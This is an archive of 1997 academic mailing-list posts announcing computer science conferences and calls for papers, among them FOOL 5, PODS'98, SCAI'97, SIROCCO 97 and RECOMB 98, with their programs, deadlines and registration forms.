20-23, 1997 Maui, Hawaii, U.S.A. Sponsored by ACM SIGSAM and ACM SIGNUM The Tenth International Symposium on Symbolic and Algebraic Computation (ISSAC) and the Second International Symposium on Parallel Symbolic Computation (PASCO) will be held jointly at the Aston Wailea Resort in beautiful Maui, Hawaii, from July 20 to July 23, hosted by the Maui High Performance Computing Center (MHPCC). The complete technical programs (including invited presentations, contributed research and survey papers, poster sessions, tutorial courses, vendor exhibits and software demonstrations), the registration information, and the travel information can be found at the ISSAC and PASCO web pages at: http://www.mcs.drexel.edu:80/ISSAC97/ http://www.csc.ncsu.edu/pasco97 Important dates: June 10: deadline for early registration June 23: deadline for early hotel reservation July 20-23: Federated ISSAC-PASCO Related events: The Conference on Applications of Computer Algebra (IMACS-ACA'97) will take place at the same location after PASCO and ISSAC (July 24-26, 1997). The 14th International Conference on Automated Deduction (CADE) is held in Townsville, Australia the week before PASCO and ISSAC (July 13-17, 1997). With apologies for multiple copies, and kindest regards, Maria Paola Bonacina (Registration Chair Federated ISSAC-PASCO97) ",0,1 Didier Remy ,THEORYNT@LISTSERV.NODAK.EDU,"Tue, 24 Jun 1997 18:24:21 -0700",Call for Papers for FOOL 5,"Call for Papers The Fifth International Workshop on Foundations of Object-Oriented Languages F O O L ' 5 January 17-18, 1998 San Diego, USA Preceding POPL98 DEADLINES Submissions: September 28, 1997 Notifications: November 10, 1997 Final versions: December 8, 1997 The search for sound foundations for object-oriented languages has driven a variety of work in the theory of programming languages during the past decade, leading to a better understanding of the key concepts of object-oriented languages and to important developments in type theory, semantics, and program verification. The FOOL workshops bring together researchers to share new ideas and results. The next workshop, FOOL 5, will be held in January, 1998, in San Diego, the two days preceding POPL98. Submissions for this event are invited in the general area of theoretical foundations of object-oriented languages, including semantics, calculi, type theory, and program verification. We also welcome contributions on foundational issues related to concurrent and distributed object-oriented languages and database languages with object-oriented features. Since the main focus in selecting workshop contributions will be the intrinsic interest and timeliness of the work, authors are encouraged to submit (polished) descriptions of work in progress as well as papers describing completed projects. A world-wide web page will be created and made available as an informal electronic conference proceedings. Notification of the acceptance or rejection of papers will be given by Monday, November 10, 1997. Final copies of accepted papers for the electronic proceedings will be due on December 8, 1997. Correspondence and questions should be sent to Didier.Remy@inria.fr SUBMISSION PROCEDURE We solicit submissions on original research not previously published or currently submitted for publication elsewhere. Extended abstracts not to exceed 2500 words (approximately 5 pages) should be submitted to the program chair by Sunday, September 28, 1997. Due to the relatively tight schedule for refereeing we will not be able to consider late submissions. Receipt of the submissions will be acknowledged by e-mail. The authors should inquire in case a prompt acknowledgment is not received. Electronic submission is preferred: documents in postscript format (US-letter size) should be e-mailed to fool5@pauillac.inria.fr (If electronic submission is impossible, please contact the program chair to make special arrangements.) The cover page should include a return postal address, a telephone number, and an electronic mail address if possible. PROGRAM CHAIR Didier Remy INRIA Rocquencourt BP 105 78153, Le Chesnay Cedex, France Email: Didier.Remy@inria.fr Tel: +33 1 3963 5317 Fax: +33 1 3963 5684 ORGANIZING COMMITTEE Kim Bruce, Williams College Benjamin Pierce, Indiana University PROGRAM COMMITTEE Martin Abadi, Digital, SRC Kathleen Fisher, AT&T Labs Research Giorgio Ghelli, University of Pisa Martin Hofmann, Darmstadt University of Technology Martin Odersky, University of South Australia Didier Remy, INRIA Rocquencourt (Chair) David N. Turner, An Teallach Limited",0,1 Jan Van den Bussche ,THEORYNT@LISTSERV.NODAK.EDU,"Tue, 24 Jun 1997 18:26:37 -0700",PODS'98 CFP (plain text)," *************************** * PODS'98 CALL FOR PAPERS * *************************** Seventeenth ACM SIGACT-SIGMOD-SIGART SYMPOSIUM ON PRINCIPLES OF DATABASE SYSTEMS Seattle, Washington, 1-3 June 1998 The symposium will focus on new developments in the fundamental aspects of databases. Original research papers on the theory, design, specification, or implementation of databases are solicited. Papers emphasizing new topics or foundations of emerging areas are especially welcomed. TOPICS OF INTEREST Suggested topics include the following: (this list is not exclusive) access methods and physical design; active databases; complexity and performance evaluation; concurrency control; constraint databases; data integration and interoperability; data mining; data models; database programming languages; database updates; databases on Internet and Intranet; deductive databases and knowledge bases; distributed databases; heterogeneous databases; integrity and security; logic in databases; multimedia databases; object-oriented databases; OLAP; query languages; real-time databases; semi-structured data; spatial and temporal databases; transaction management; views and warehousing. PAPER SUBMISSION Submissions of extended abstracts can be sent, in twelve copies, to one of the following two addresses, to be received before the deadline of 17 November 1997: Jan Paredaens Dan Suciu University of Antwerp (UIA) AT&T Labs - Research Universiteitsplein 1 180 Park Avenue, Rm. B294 B-2610 Antwerp, Belgium Florham Park, NJ 07932-0971, USA E-mail: pods98@uia.ua.ac.be E-mail: suciu@research.att.com Tel: +32-3-8202409 Tel: +1-973-3608601 Fax: +32-3-8202421 No electronic submissions will be taken. The address, telephone number, FAX number, and e-mail address of the contact author should be given on the title page of the submission. A limit of 10 pages is placed on submissions. Font size should be at least 10 points. The abstract must provide sufficient detail to allow the program committee to assess its merits and should include appropriate references to and comparisons with the literature. Each submission should begin with a succinct statement of the problem a summary of the main results, and a brief explanation of their significance and relevance to the conference, all suited for the non-specialist. Technical development of the work, directed to the specialist, should follow. If the authors believe more details are necessary to substantiate the main claims of the paper, they may include a clearly marked appendix to be read at the discretion of the committee. BEST NEWCOMER AWARD An award will be given to the best submission, as judged by the program committee, written solely by authors who have never published in earlier PODS proceedings. BEST PAPER AWARD There will also be an award for the best of all papers submitted, as judged by the program committee. The program committee reserves the right to give both awards to the same paper, not to give an award, or to split an award among several papers. Papers authored or co-authored by program committee members are not eligible for an award. IMPORTANT DATES Paper submission deadline: 17 November 1997 Notification of acceptance: 9 February 1998 Camera-ready copy due: 14 March 1998 Symposium: 1-3 June 1998 CONFERENCE ORGANIZATION Program Chair: Jan Paredaens, University of Antwerp Program Committee: Christos Faloutsos, University of Maryland Georg Gottlob, TU Wien Laks Lakshmanan, Concordia University Leonid Libkin, Bell Laboratories Heikki Mannila, University of Helsinki Rajeev Motwani, Stanford University Ken Ross, Columbia University Dan Suciu, AT&T Labs Moshe Vardi, Rice University Gerhard Weikum, University of Saarland General Chair: Alberto Mendelzon, University of Toronto Proceedings Chair: Latha Colby, Red Brick Systems Publicity Chair: Jan Van den Bussche, University of Limburg ",0,0 Steve Mahaney ,THEORYNT@LISTSERV.NODAK.EDU,"Tue, 24 Jun 1997 18:27:18 -0700","(Fwd) DIMACS Workshop on Massive Data Sets in Telecommunications, October 13-15, 1997","-------------------------------------------------------------------------- | DIMACS: Center for Discrete Mathematics & Theoretical Computer Science | | A National Science Foundation Science and Technology Center | -------------------------------------------------------------------------- DIMACS Workshop on Massive Data Sets in Telecommunications CoRE Building, Busch Campus Rutgers University Piscataway, NJ October 13-15, 1997 The emergence of the computer as an essential tool in scientific research and as an essential ingredient in commercial systems has led to the generation of massive amounts of data. These data sets are of critical importance for a broad variety of scientific and technological applications, including but not limited to astronomy, biology, medicine, ecological monitoring and weather prediction, information retrieval, and telecommunications. To help focus research activity on the daunting computational and mathematical problems of organizing and using these data, DIMACS is conducting a Special Year on Massive Data Sets in 1997-98. Telecommunications systems pose some of the most challenging massive data set problems and present many opportunities for researchers in the mathematical sciences. Sources of data include switch-generated call-detail records, customer billing records, customer service-call records, IP headers, and WWW ``click streams.'' Uses and potential uses of data include network operations and management, billing, fraud detection, quality control, marketing, information retrieval, and law enforcement. Many classical algorithmic and mathematical problems are relevant, including clustering, compression, error-detection and -correction, nearest-neighbor searching, and shortest-path and connectivity computations. Note that some types of data are obviously proprietary and sensitive and that the ``privacy status'' and ``ownership status'' of others is currently the subject of policy debate. Thus there is a pressing need for both technical mechanisms and social policies that support privacy protection without destroying the usefulness of data sets. DIMACS will hold a Special Year workshop on all aspects of massive data sets in telecommunications systems on October 13-15, 1997. If you would like to attend the workshop, please contact Pat Pravato at the DIMACS center: pravato@dimacs.rutgers.edu, 732-445-5930. Presentations are solicited on all aspects of massive data sets that are relevant to telecommunications systems, including but not limited to the mathematical, algorithmic, infrastructural, application, and policy aspects mentioned above. If you would like to give a talk or a demo, please send an abstract of your proposed presentation (at most one page in length) to the workshop chair: Joan Feigenbaum jf@research.att.com 973-360-8442 (phone) 973-360-8178 (fax) http://www.research.att.com/~jf The deadline for submissions is August 15, 1997. The workshop will be informal, and there will be no published proceedings. You are encouraged to submit an abstract on any material that you think would be of interest to the participants, including material that has been or will be published elsewhere. A limited amount of travel support is available for participants who can demonstrate need and who apply early. Please contact the workshop chair if you would like to apply for travel money. For more information about the Special Year on Massive Data Sets, visit the DIMACS web site: http://dimacs.rutgers.edu. The Special Year program is made possible by long term funding from the National Science Foundation, the New Jersey Commission on Science and Technology and DIMACS university and industry partners. DIMACS Center; Rutgers University; P.O. Box 1179; Piscataway, NJ 08855-1179 TEL: 732-445-5928 FAX: 732-445-5932 ** EMAIL: center@dimacs.rutgers.edu WWW: http://dimacs.rutgers.edu ** TELNET: telnet info.rutgers.edu 90 DIMACS is a partnership of Rutgers University, Princeton University, AT&T Labs, Bellcore, and Bell Laboratories. ",0,1 Greger Linden ,THEORYNT@LISTSERV.NODAK.EDU,"Tue, 24 Jun 1997 18:34:10 -0700",SCAI'97: Call for participation," CALL FOR PARTICIPATION SCAI'97 The Sixth Scandinavian Conference on Artificial Intelligence August 18 - 20, 1997 Helsinki, Finland at Metsatalo, Unioninkatu 40 http://www.cs.helsinki.fi/events/SCAI97/ Supported by Nordic Academy for Advanced Study The Academy of Finland IBM Omron Program Sunday, August 17, 1997 18:00- Reception by the Vice Rector of the University of Helsinki, 20:00 at the Main Building of the university, Aleksanterinkatu 5 17:00- Registration at Hotel Vaakuna, Asema-aukio 2 21:00 Monday, August 18, 1997 8:00 Reception and registration at Metsatalo, Unioninkatu 40B 8:40 Opening: Gösta Grahne (U. Helsinki) 8:45 Invited Lecture: Using Multi-Agent Systems to Represent Uncertainty, Joseph Y. Halpern (Cornell U.) 10:00 Coffee break 10:30 Logical Foundations I: Tableaux for Synchronous Systems of Knowledge and Time with Interactions, C. Dixon and M. Fisher (Manchester Met. U.) Revisiting Knowledge and Time from a Topological Point of View, B. Heinemann (FernU. Hagen) 11:30 Broadening the Scope: Intelligence, Agency and Interaction, P. Maattanen (U. Helsinki) Motives for Intelligent Agents: Computational Scripts for Emotion Concepts, C. L. Lisetti (Stanford U.) 12:30 Lunch 14:00 Invited Lecture: Information Granulation and its Centrality in Human and Machine Intelligence, Lotfi A. Zadeh (UC Berkeley) 15:00 Logical Foundations II: Combination and Updating for Belief Revision in the Theory of Evidence, M. Itoh and T. Inagaki (U. Tsukuba) On Iterated Belief Change, S. Eloranta (U. Helsinki) 16:00 Coffee break 16:30 Machine Learning I: On the Well-Behavedness of Important Attribute Evaluation Functions, T. Elomaa and J. Rousu (JRC Ispra VTT Helsinki) Knowledge Based Genetic Learning, U. Rost and P. Oechtering (U. Hannover) 17:30 - Poster Presentations 19:00 Tuesday, August 19, 1997 9:00 Invited Lecture: From MS Office Assistant (TM, 97) to von Neumann and Morgenstern (no TM, 47), Yoav Shoham (Stanford U.) 10:00 Coffee break 10:30 Programming I: Conceptualizing Classes: Making Object-Oriented Programming More Knowledgeable, S. Schacht and U. Hahn (Freiburg U.) Structured Explanations as a Support to Model Problem-Solving in a Task-Method Paradigm, F. Trichet and P. Tchounikine (U. Nantes) 11:30 Programming II: Application of Interval Domain Library: Expressing Connectivity via Non-Linear Constraints, E. S. Petrov (IIS Novosibirsk) TAO: A Multi-Agent Technology Based on Constraint Programming, I. Shvetsov, T. Nesterenko, S. Starovit (IIS Novosibirsk) 12:30 Lunch (on your own) 14:00 Invited Lecture: Strategic Negotiation and Cooperation Among Autonomous Agents, Sarit Kraus (Bar-Ilan U. & U. Maryland) 15:00 Multiagent Systems I: A Multi-Agent Architecture for Distributed Constrained Optimization and Control, J. W. Perram and Y. Demazeau (Odense U. Grenoble U.) ViSe2 - An Application of Intelligent Agents Approaching Efficient Cooperation, W. Cao, C.-G. Bian, G. Hartvigsen (U. Tromsø) 16:00 Coffee break 16:30 - Multiagent Systems II: 17:30 Dynamical and Distributed Process Management Based on Agent Technology, G. Joeris, C. Klauck and O. Herzog (U. Bremen) Task Decomposition in Distributed Problem Solving Systems: A Special Case, C. Papatheodorou (NCSR Attiki) 18:30 Excursion and banquet: A cruise to the Suomenlinna/Sveaborg fortress and dinner at the Walhalla restaurant. Wednesday, August 20, 1997 9:00 Invited Lecture: Exploration of Large Document Collections by Self-Organizing Maps, Teuvo Kohonen (Helsinki U. Technology) 10:00 Coffee break 10:30 Grouping techniques: We're All Going on a Summer Holiday: An Exercise in Non-Cardinal Case Base Retrieval, H. Osborne and D. Bridge (U. York) A Methodology for Knowledge Acquisition from Texts: An Application to Technical Documentation Consulting, H. Assadi (U. Paris 6) 11:30 Machine Learning II: Semi-Supervised Hierarchical Clustering Algorithms, A. Bensaid, A. Amar and N. Tazi Labzour (U. Ifrane) Instance Based Symbolic Pattern Association, R. G. Martin, R. J. Hickey and D. A. Bell (U. Ulster) 12:30 Lunch 14:00 Invited Lecture: Artificial Perception by Neural Networks, Erkki Oja (Helsinki U. Technology) 15:00 Neural Networks: Rule-Based Explanation in Connectionist Networks, X. Wu and J. Hughes (U. Ulster) Partially Precalculated Weights for Backpropagation Training of RAM-Based sigma-pi Nets, R. Neville (U. Hertfordshire) 16:00 Coffee break 16:30 Panel: Agent Technology and Techniques --- State of the Art and Future Directions, Moderator: J. Komorowski, Panelists: To be announced. 18:00 - Spotlight session (Poster Presentations) 19:30 CONFERENCE INFORMATION For registration please use the registration form at the end You will also find the form at the web site http://www.cs.helsinki.fi/events/SCAI97/. Fax or mail it to the Area Congress Team (Congress Team/Area Travel Agency, P.O. Box 6 (Paivarinnankatu 1), FIN-00251 HELSINKI, Finland. Conference registration fee: The conference fee is FIM 2000 (after June 30, FIM 2400) and for students FIM 800 (after June 30, FIM 1100). The fee includes admission to the conference, proceedings, coffee breaks, Monday and Wednesday lunches, conference excursion and dinner. The student fee also includes all of the above For cancellation received by letter or fax before June 30, 1997, the fee will be refunded, less FIM 500 administration charges. We regret that after this date no refunds will be possible. Send the cancellation letter to the Area Congress Team. Hotel reservation: All hotels are located in downtown Helsinki within walking distance from the conference location. Make your hotel reservation on the registration form. In order to obtain the special rates you are kindly requested to pay the first night in advance (together with the conference registration fees) in one single payment to the Area Congress Team. Please note that the special rates as well as the block bookings are only guaranteed for bookings made before 30 June 1997. Grants: There is a limited amount of (possibly partial) grants available for Nordic graduate students. When grants are decided, priority will be given, in order: (1) to students presenting papers, (2) to students presenting a poster, (3) to students participating. Please tick the appropriate box in the registration form if you are interested in such a grant and include a curriculum vitae with your registration. In this case, please return your registration before June 15 1997. Further information, contact SCAI'97 Paivi Kuuppelomaki Department of Computer Science P.O. Box 26 FIN-00014 UNIVERSITY OF HELSINKI Finland email: scai97@cs.helsinki.fi fax: +358 9 708 44441 phone: +358 9 708 51 url: http://www.cs.helsinki.fi/events/SCAI97/ REGISTRATION FORM --------------- CUT HERE AND PRINT OUT ----------------------------------- Sixth Scandinavian Conference Please return this form by on Artificial Intelligence, SCAI'97 30 June 1997 to 18-20 August, 1997, Helsinki, Finland CONGRESS TEAM/ Area Travel Agency Ltd P.O. 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Please note SCAI and the participant's name on the remittance and attach a copy to this form. __ Please charge my credit card: __ American Express __ Eurocard, __ Mastercard __ Visa Credit card no. ______________________________ Expiry date _________________ Amount in FIM _____ Card holder's signature __________________________________ ------------------------------------------------------------------------------- Date: ______________ Signature: ______________________________________________ ",0,1 DMANET ,DMA-LIST@NIC.SURFNET.NL,"Wed, 25 Jun 1997 17:36:05 -0000",SIROCCO 97 - Call for Participation," CALL FOR PARTICIPATION SIROCCO 97 ========== International Colloquium on Structural Information & Communication Complexity http://www.scs.carleton.ca/~sirocco/ Centro Stefano Franscini Monte Verita, Ascona Switzerland July 24 - 26, 1997 General Information, Programme & Registration Form ------------------------------------------------------------------------------ General Information ------------------- The 4th Colloquium on Structural Information and Communication Complexity will focus on the relationship between computing and communication, i.e., the study of those factors which are significant for the computability and the communication complexity of problems, and on the interplay between structure, knowledge and complexity in systems of communicating agents. The Colloquium is designed to bring together researchers interested in the fundamental principles underlying all computing through communication. The colloquium will take place at the Centro Stefano Franscini on the Monte Verita above Ascona, in the Italian speaking part of Switzerland. On the shores of Lake Maggiore, Ascona (Canton Ticino) enjoys a Mediterranean climate in an alpine setting. With over 2,300 hours of sunshine per year, Ascona is Switzerland's sunniest place; the average July temperature varies between 20�C and 30�C during the day. The average water temperature in July of Lake Maggiore is 23�C. Excellent train connections exist from Milano or Zurich to the area of the meeting. It takes less than 2 hours (3 hours) to travel from Milano (from Zurich) to Ascona/Locarno by train. We will provide a bus-service from the station to the Centro Stefano Franscini. The Canton Ticino has a tiny airport of its own: Lugano-Agno. From Lugano-Agno Crossair (the Swiss regional airline) flights link business people to some European cities. For further information about the colloquium, the Centro Stefano Franscini, for further touristic information and pictures, and information on transportation, please contact http://www.scs.carleton.ca/~sirocco/ or SIROCCO 97 Roger Wattenhofer Institut fuer Theoretische Informatik ETH Zurich 8092 Zurich, Switzerland sirocco@inf.ethz.ch ------------------------------------------------------------------------------ Colloquium Programme -------------------- WEDNESDAY, JULY 23 20:00 Welcome Reception & Dinner THURSDAY, JULY 24 Session 1: 09:00 - 9:50 09:00 Invited Talk: Theoretical Research on Networks: Models and Methodology A. Rosenberg, Amherst Break Session 2: 10:00 - 10:50 10:00 Approximating Minimum Communication Spanning Trees D. Peleg, Weizmann 10:25 On Computing Nearly Optimal Multi-Tree Paths and s,t-Numberings F.S. Annexstein, K.A. Berman and R. Swaminathan, Cincinnati, Cincinnati, Lucent Coffee Break Session 3: 11:10 - 12:30 11:10 Bandwidth Allocation Algorithms on Tree-Shaped All-Optical Networks with Wavelength Converters V. Auletta, I. Caragiannis, C. Kaklamanis and G. Persiano, Salerno, Patras, Patras, Salerno 11:35 Embedding Tori in Partitioned Optical Passive Star Networks P. Berthome, J. Cohen, A. Ferreira, Paris Sud, ENS Lyon, ENS Lyon 12:00 Open Problems & Research Directions Lunch Break Session 4: 15:00 - 16:15 15:00 Linear Broadcasting and N loglog N Election in Unoriented Hypercubes S. Dobrev and P. Ruzicka, Comenius Bratislava 15:25 An Optimal Algorithm for Broadcasting Multiple Messages in Trees K. Diks, A. Lingas and A. Pelc, Warszawa, Lund, Hull 15:50 Bounds for the On-line Multicast Problem in Directed Graphs M. Faloutsos, R. Pankaj and K.C. Sevcik, Toronto Coffee Break Session 5: 16:30 - 18:30 16:30 The Complexity of Characterization of Networks Supporting Shortest-Path Interval Routing T. Eilam, S. Moran and S. Zaks, Technion 16:55 An Optimal Lower Bound for Interval Routing in General Networks S.S.H. Tse and F.C.M. Lau, Hong Kong 17:20 Compact Routing on Chordal Rings L. Narayanan and J. Opatrny, Concordia Montreal 18:00 Open Public Talk: Informatica, Societa ed Educazione J. Nievergelt, ETH Zurich Dinner FRIDAY, JULY 25 Session 1: 09:00 - 9:50 09:00 Invited Talk: How to use Gossiping Theory and Two-Party Communication Complexity for Analyzing the Cost of Computing Functions in Synchronous and Asynchronous Networks M. Dietzfelbinger, Dortmund Break Session 2: 10:00 - 10:50 10:00 Better Expanders and Superconcentrators by Kolmogorov Complexity U. Schoening, Ulm 10:25 Size Bounds for Dynamic Monopolies D. Peleg, Weizmann Coffee Break Session 3: 11:10 - 11:50 11:10 An Omega(n^2)-Lower Bound for Space-Efficiency of Routing Schemes of Stretch Factor Three C. Gavoille and M. Gengler, Bordeaux, ENS Lyon 11:35 An Empirical Study of ``Lazy'' Protocols for Routing Information in Dynamic Networks F. Annexstein and C. Giannella, Cincinnati Lunch Break Session 4: 14:00 - 14:50 14:00 About the Local Detection of Termination of Local Computations in Graphs Y. Metivier, A. Muscholl and P. Wacrenier, Bordeaux 14:25 Computing Vector Functions on Anonymous Networks P. Boldi and S. Vigna, Milano Excursion & Conference Dinner SATURDAY, JULY 26 Session 1: 09:00 - 9:50 09:00 Invited Talk: Efficient Flow Control in Networks P. Spirakis, Patras Break Session 2: 10:00 - 10:50 10:00 Static Frequency Assignment in Cellular Networks L. Narayanan and S. Shende, Concordia Montreal, Lincoln 10:25 Duality in Chain ATM Virtual Path Layouts M. Feighelstein and S. Zaks, Technion Coffee Break Session 3: 11:10 - 12:30 11:10 Heuristics Algorithms for Personalized Communication Problems in Point-to-Point Networks P. Fraigniaud and S. Vial, ENS Lyon 11:35 Optimal Gossip in Noncombining 2D-Meshes M. Soch and P. Tvrdik, Praha 12:00 Open Problems & Rump Session Lunch & End of the Colloquium ------------------------------------------------------------------------------ Call for Rump Session Contributions ----------------------------------- The rump sessions are intended for presentation of unpolished recent results, description of current research efforts, informal exposition of published or submitted results. If interested in contributing, notify the PC chairs at the Colloquium. Call for Open Problems ---------------------- You are invited to submit open problems for presentation at the Colloquium. Possibly, your submission should contain a statement of the problem, background information, known partial results, and any other relevant information. All contributed open problems will appear in the final proceedings with the name of the contributors. Submit directly at the Colloquium. Colloquium Registration (Deadline: July 8, 1997) ----------------------- The registration fee is USD 450 or CHF 630 (students are encouraged to apply for scholarships). The fee includes all expenses (board and lodging, all colloquium events, and the volume of the proceedings). Pre-proceedings containing a copy of all accepted papers will be available at the Colloquium. The final proceedings will be published and mailed to all participants after the colloquium. The Registration Form and the student certification (if applicable) must be returned before July 8. The recommended mode of payment is by credit card, but you can also pay by ec-direct, or cash (Swiss Francs). Program Committee ----------------- Hans Bodlaender [Utrecht] Christos Kaklamanis [Patras] Danny Krizanc [Carleton] Bernard Mans [Macquarie] Ernst Mayr [Munich] Umberto Nanni [Rome] Jose Rolim [Geneva] Arny Rosenberg [Amherst] Nicola Santoro [Carleton] Dominique Sotteau [Paris-Sud] Imrich Vrto [Bratislava] Peter Widmayer [ETH Zurich] Organizing Committee -------------------- Colloquium Chair: Roger Wattenhofer [ETH Zurich] Program Chairs: Danny Krizanc [Carleton] Peter Widmayer [ETH Zurich] Publicity: Paola Flocchini [Montreal] Local Organisation: Katia Bastianelli [CSF Ascona] ------------------------------------------------------------------------------ SIROCCO 97 Centro Stefano Franscini Monte Verita , Ascona July 24 - 26 1997 Registration Form ----------------- First Name: Last name: Affiliation: Address: Postal Code & City: Country: Phone: Fax: Email: Credit Card: [] Eurocard/Mastercard [] Visa [] American Express [] Diner's Club Number: Expiration Date: [] I would like to have vegetarian meals I would like to board the bus at the station at [] 15:10 [] 18:10 [] 20:10 I would like to share a room with: Please indicate any special needs: Signature: ------------------------------------------------------------------------------ SIROCCO 97 Centro Stefano Franscini Monte Verita , Ascona July 24 - 26 1997 APPLICATION FOR FULL-TIME STUDENT SCHOLARSHIP --------------------------------------------- We have limited funds available that we will distribute fairly among the applying students in financial need. Unless the number of applications is very high, a scholarship will cover the entire registration fee. Please have this filled and signed by your advisor. I certify that: is a full time student at: Name (Please print): Position: Signature: ------------------------------------------------------------------------------ The Registration Form and the Application for full-time student scholarship (if applicable) must be returned by mail, email, or fax before JULY 8 to: SIROCCO 97 Roger Wattenhofer Institut f�r Theoretische Informatik ETH Zurich 8092 Zurich, Switzerland sirocco@inf.ethz.ch fax: +41 - 1 632 11 72 -- ****************************************************** Contributions to be spread via DMANET are submitted to DMANET@math.utwente.nl Replies to a message carried on DMANET should NOT be addressed to DMANET but to the original sender. The original sender, however, is invited to prepare an update of the replies received and to communicate it via DMANET. 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I don't know if I got this by mistake or not. However, to my knowledge I do not have (or need) an account on ei. -matt -- Matthew C. Mead mmead@goof.com http://www.goof.com/~mmead/ ",0,1 ICSC Canada ,THEORYNT@LISTSERV.NODAK.EDU,"Mon, 07 Jul 1997 19:48:46 -0700",I&AAN'98 Workshop,"International Workshop on INDEPENDENCE & ARTIFICIAL NEURAL NETWORKS / I&ANN'98 at the University of La Laguna, Tenerife, Spain February 9-10, 1998 http://www.compusmart.ab.ca/icsc/iann98.htm This workshop will take place immediately prior to the International ICSC Symposium on ENGINEERING OF INTELLIGENT SYSTEMS / EIS'98 at the University of La Laguna, Tenerife, Spain February 11-13, 1998 http://www.compusmart.ab.ca/icsc/eis98.htm ****************************************** TOPICS Recent ANN research has developed from those networks which find correlations in data sets to the more ambitious goal of finding independent components of data sets. The workshop will concentrate on those neural networks which find independent components and the associated networks whose learning rules use contextual information to organize their learning. The topic falls then into (at least) three main streams of current ANN research: 1. Independent Component Analysis which has most recently been successfully applied to the problem of ""blind separation of sources"" such as the recovery of a single voice from a mixture/convolution of voices. Such methods normally use either information theoretic criteria or higher order statistics to perform the separation. 2. Identification of independent sources: The seminal experiment in this field is the identification of single bars from an input grid containing mixtures of bars. Factor Analysis (or generative models) has been a recent popular method for this problem. 3. Using contextual information to identify structure in data. We envisage a single track program over two days (February 9 - 10, 1998) with many opportunities for informal discussion. ****************************************** INTERNATIONAL SCIENTIFIC COMMITTEE - Luis Almeida, INESC, Portugal - Tony Bell, Salk Institute, USA - Andrew Cichocki, RIKEN Institute, Japan - Colin Fyfe, University of Paisley, U.K. - Mark Girolami, University of Paisley, U.K. - Peter Hancock, University of Stirling, U.K. - Juha Karhunen, Helsinki University of Technology, Finland - Jim Kay, University of Glasgow, U.K. - Erkki Oja, Helsinki University of Technology, Finland ****************************************** INFORMATION FOR PARTICIPANTS AND AUTHORS Registrations are available for the workshop only (February 9 - 10, 1998), or combined with the EIS'98 symposium (February 11 - 13, 1998). The registration fee for the 2-day workshop is estimated at approximately Ptas. 37,000 per person and includes: - Use of facilities and equipment - Lunches, dinners and coffee breaks - Welcome wine & cheese party - Proceedings in print (workshop only) - Proceedings on CD-ROM (workshop and EIS'98 conference) - Daily transportation between hotels in Santa Cruz and workshop site The regular registration fee for the EIS'98 symposium (February 11-13, 1998) is estimated at Ptas. 59,000 per person, but a reduction will be offered to workshop participants. Separate proceedings will be printed for the workshop, but all respective papers will also be included on the CD-ROM, covering the I&ANN'98 workshop and the EIS'98 symposium. As a bonus, workshop participants will thus automatically also receive the conference proceedings (CD-ROM version). We anticipate that the proceedings will be published as a special issue of a journal. ****************************************** SUBMISSION OF PAPERS Prospective authors are requested to send a 4-6 page report of their work for evaluation by the International Scientific Committee. All reports must be written in English, starting with a succinct statement of the problem, the results achieved, their significance and a comparison with previous work. The report should also include: - Title of workshop (I&ANN'98) - Title of proposed paper - Authors names, affiliations, addresses - Name of author to contact for correspondence - E-mail address and fax # of contact author - Topics which best describe the paper (max. 5 keywords) Submissions may be made by airmail or electronic mail to: Dr. Colin Fyfe Department of Computing and Information Systems The University of Paisley High Street Paisley, PA1 2BE Scotland Email: fyfe0ci@paisley.ac.uk Fax: +44-141-848-3542 ****************************************** SUBMISSION DEADLINE It is the intention of the organizers to have the proceedings available for the delegates. Consequently, the submission deadline of September 15, 1997 has to be strictly respected. ****************************************** IMPORTANT DATES Submission of reports: September 15, 1997 Notification of acceptance: October 15, 1997 Delivery of full papers: November 15, 1997 I&ANN'98 Workshop: February 9 - 10, 1998 EIS'98 Conference: February 11 - 13, 1998   ******************************************   LOCAL ARRANGEMENTS For details about local arrangements, please consult the EIS'98 website at http://www.compusmart.ab.ca/icsc/eis98.htm ****************************************** FURTHER INFORMATION For further information please contact: - Dr. Colin Fyfe Department of Computing and Information Systems The University of Paisley High Street Paisley PA1 2BE Scotland E-mail: fyfe0ci@paisley.ac.uk Fax: +44-141-848-3542 or - ICSC Canada International Computer Science Conventions P.O. Box 279 Millet, Alberta T0C 1Z0 Canada E-mail: icsc@compusmart.ab.ca Fax: +1-403-387-4329 WWW: http://www.compusmart.ab.ca/icsc ",0,1 """E. Kolker"" ",THEORYNT@LISTSERV.NODAK.EDU,"Mon, 07 Jul 1997 19:54:34 -0700",CALL FOR PAPERS: Recomb 98," CALL FOR PAPERS SECOND ANNUAL INTERNATIONAL CONFERENCE ON COMPUTATIONAL MOLECULAR BIOLOGY (RECOMB 98) March 22 - 25, 1998 New York City Sponsored by Association for Computing Machinery SIGACT with support from SLOAN Foundation US Department of Energy http://www.mssm.edu/biomath/recomb98.html The Second Annual Conference on Research in Computational Molecular Biology (RECOMB 98),sponsored by the Association for Computing Machinery Special Interest Group on Algorithms and Computation Theory (ACM-SIGACT) with support from the SLOAN Foundation, and US Department of Energy will be held in New York City, March 22 - 25, 1998. Papers reporting on original research (both theoretical and experimental) in all areas of computational molecular biology are sought, including surveys of important recent results/directions. Typical but not exclusive topics of interest include: - Genomics - Molecular sequence analysis - Recognition of genes and regulatory elements - Molecular evolution - Protein structure - Combinatorial libraries and drug design ABSTRACT SUBMISSION: Authors are requested to send 10 copies (preferably two sided copies) of a detailed extended abstract (5-10 pages) to: Professor Pavel Pevzner RECOMB 98 Program Chair University of Southern California Department of Mathematics, DRB 155 Los Angeles, CA 90089-1113 An abstract must be received by October 20, 1997. This is a firm deadline. Simultaneous submission to another conference or journal is allowed. CONFERENCE PROCEEDINGS: The extended abstracts for the Conference will be published by ACM Press and will be available at the Conference. A selection of the accepted extended abstracts in their final journal versions will be invited to appear in a special issue of the Journal of Computational Biology devoted to RECOMB 98. NOTIFICATION: The conference submissions will be refereed by the program committee. Authors will be notified of acceptance or rejection by a letter mailed on or before December 15, 1997. A final copy of each accepted paper is required by January 10, 1997. An author of each accepted paper is expected to attend the Symposium and present the paper; otherwise alternative arrangements should be made to have the paper presented. ABSTRACT PREPARATION: An abstract should start with a succinct statement of the problem, the results achieved, their significance and a comparison with previous work. This material should be understandable to nonspecialists. A technical exposition directed to the specialist should follow. The length, excluding cover page and bibliography, should not exceed 10 pages. The manuscript should be easy to read, preferably using 11 point font size on U.S. standard 8 1/2 by 11 inch paper. If authors believe that more details are necessary to substantiate the claims of the paper, they may include a clearly marked appendix. An E-mail address for the contact author should be included. Conference Events RECOMB 98 will feature 8 invited lectures (to be announced later) by prominent biologists including the following conference events: THE STANISLAW ULAM MEMORIAL COMPUTATIONAL BIOLOGY ADDRESS. The 